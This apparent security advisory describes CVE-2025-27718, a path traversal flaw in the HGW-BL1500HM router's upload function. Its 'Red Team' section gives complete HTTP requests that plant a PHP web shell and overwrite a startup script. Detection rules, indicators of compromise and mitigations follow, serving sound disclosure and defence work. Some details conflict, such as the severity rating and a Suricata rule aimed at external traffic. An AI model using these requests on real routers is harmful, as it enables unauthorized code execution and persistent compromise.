CVE-2025-27718

Executive Summary

CVE-2025-27718 is a critical path traversal vulnerability (CWE-22) affecting the HGW-BL1500HM router's USB storage file-sharing function. The flaw exists in the file upload process, allowing an unauthenticated attacker on the LAN side to traverse directories via crafted HTTP requests. Successful exploitation can lead to unauthorized file access, modification, or arbitrary code execution. With a CVSS score of 8.8, this vulnerability poses a severe risk to network integrity and confidentiality. No public proof-of-concept (PoC) or patch is currently available, making proactive detection and mitigation essential.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Adjacent Network (AV:A) – Exploitation requires LAN access.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (C:H) – Full file system read access.
• Integrity (I): High (I:H) – Files can be altered or overwritten.
• Availability (A): High (A:H) – Arbitrary code execution can disrupt services.

Threat Level: Critical. The combination of low attack complexity, no authentication, and high impact makes this vulnerability highly attractive for lateral movement and data exfiltration within local networks.

Deep Dive & Mechanics

The vulnerability resides in the USB storage file-sharing web interface of the HGW-BL1500HM router. The file upload functionality fails to properly sanitize user-supplied pathnames, allowing an attacker to include directory traversal sequences (e.g., ../) in the filename or path parameter. This enables the attacker to escape the intended upload directory and write files to arbitrary locations on the device's filesystem.

Attack Flow:

1. An attacker on the LAN sends a crafted HTTP POST request to the file upload endpoint (e.g., /upload).
2. The request includes a filename parameter containing traversal sequences, such as ../../etc/passwd.
3. The server processes the request without validating the path, writing the uploaded content to the traversed location.
4. The attacker can overwrite critical system files (e.g., scripts, binaries, configuration files) or upload a web shell to achieve remote code execution.

Root Cause: Lack of input validation and path canonicalization in the file upload handler. The application does not check if the resolved path stays within the allowed upload directory.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable file upload handler
def upload_file(request):
    filename = request.POST['filename']
    # No path validation
    with open('/uploads/' + filename, 'wb') as f:
        f.write(request.FILES['file'].read())

Patched Code (Conceptual):

import os

def upload_file(request):
    filename = request.POST['filename']
    # Sanitize and validate path
    safe_path = os.path.normpath('/uploads/' + filename)
    if not safe_path.startswith('/uploads/'):
        return "Invalid path", 403
    with open(safe_path, 'wb') as f:
        f.write(request.FILES['file'].read())

The patched version uses os.path.normpath() to resolve traversal sequences and then verifies that the resulting path starts with the allowed base directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Target: HGW-BL1500HM (Ver 002.002.003) on a local network.
• Attacker: Kali Linux machine on the same LAN.

Exploitation Steps:

1. Identify the file upload endpoint (e.g., via directory brute-forcing or analyzing the web interface).
2. Craft a malicious HTTP request to upload a PHP web shell to the web root:

   POST /upload HTTP/1.1
   Host: 192.168.1.1
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="filename"
   
   ../../www/shell.php
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"
   
   <?php system($_GET['cmd']); ?>
   ------WebKitFormBoundary--
   

3. Access the uploaded shell: http://192.168.1.1/shell.php?cmd=id
4. Execute arbitrary commands with the privileges of the web server (often root on embedded devices).

Alternative Payload: Overwrite a startup script to gain persistent access:

POST /upload HTTP/1.1
Host: 192.168.1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="filename"

../../etc/init.d/startup.sh
------WebKitFormBoundary
Content-Disposition: form-data; name="file"

#!/bin/sh
# Malicious startup script
echo "Pwned" > /tmp/pwned
------WebKitFormBoundary--

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to file upload endpoints for path traversal patterns (e.g., ../, %2e%2e%2f).
• Alert on unusual file writes to system directories (e.g., /etc, /www, /bin).
• Use file integrity monitoring (FIM) to detect unauthorized changes to critical files.

Defense:

• Isolate the router's management interface from the LAN (e.g., VLAN segmentation).
• Disable the USB storage file-sharing function if not required.
• Apply network access controls to restrict which devices can reach the router's web interface.
• Monitor for outbound connections from the router to unknown IPs (potential C2).

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests containing ../ or %2e%2e%2f in the filename parameter.
  • Unusual POST requests to /upload or similar endpoints.
  • Outbound connections from the router to suspicious IPs on port 80/443.

• File System:

  • Unexpected files in /www/, /tmp/, or /etc/ directories.
  • Modified system scripts (e.g., /etc/init.d/*).
  • Presence of web shells (e.g., shell.php, cmd.jsp).

• Logs:

  • Web server logs showing path traversal attempts.
  • System logs indicating unauthorized file modifications.

Detection Engineering

YARA Rule

rule CVE_2025_27718_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting HGW-BL1500HM file upload"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-27718"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $upload_endpoint = "/upload"
    condition:
        $upload_endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-27718 Path Traversal in HGW-BL1500HM File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with path traversal sequences to the file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
    keywords:
        - '..%2f'
        - '..%5c'
        - '%2e%2e%2f'
        - '%2e%2e%5c'
    condition: selection and keywords
falsepositives:
    - Legitimate use of dots in filenames (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27718 Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"../"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable USB Storage File-Sharing: If not essential, disable the feature via the router's web interface.
2. Network Segmentation: Isolate the router's management interface from user devices using VLANs or firewall rules.
3. Access Control: Restrict access to the router's web interface to only authorized administrative IPs.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from the vendor. Monitor the vendor's support page for patches.
• Custom Mitigation: If patching is not possible, deploy a reverse proxy (e.g., Nginx) in front of the router to filter path traversal patterns:

  location /upload {
      if ($request_body ~* "\.\.") {
          return 403;
      }
      proxy_pass http://192.168.1.1;
  }
  

Workaround: Replace the vulnerable file upload handler with a hardened version that validates paths (see patched code example).

Valters IT